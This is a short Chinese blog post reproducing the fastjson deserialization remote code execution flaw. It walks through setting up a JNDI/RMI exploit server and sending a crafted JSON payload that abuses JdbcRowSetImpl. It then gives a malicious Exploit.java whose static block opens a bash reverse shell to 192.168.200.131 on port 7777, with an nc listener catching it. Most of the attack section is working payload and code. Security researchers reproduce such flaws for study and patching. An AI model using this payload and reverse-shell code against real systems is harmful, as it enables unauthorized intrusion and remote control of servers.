fastjson远程命令执行

fastjson远程代码执行

漏洞原因:fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

1、搭建rmi服务

直接利用jndi-exploit工具
fastjson远程命令执行_第1张图片

2、抓包改为POST。开启nc监听、发包

POST的json数据:

Content-Type: application/json
Content-Length: 你的数据长度

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"开的RMI服务",
        "autoCommit":true
    }
}

这里响应400不用管(环境原因)。vps上看到反弹shell是收到了的
fastjson远程命令执行_第2张图片
收到shell
fastjson远程命令执行_第3张图片

使用恶意文件反弹shell过程

// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
 
public class Exploit {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

具体过程和log4j2一样。
可以看看上一篇文章
log4j2漏洞复现

你可能感兴趣的:(信息安全,网络安全,安全,web安全,信息安全,java)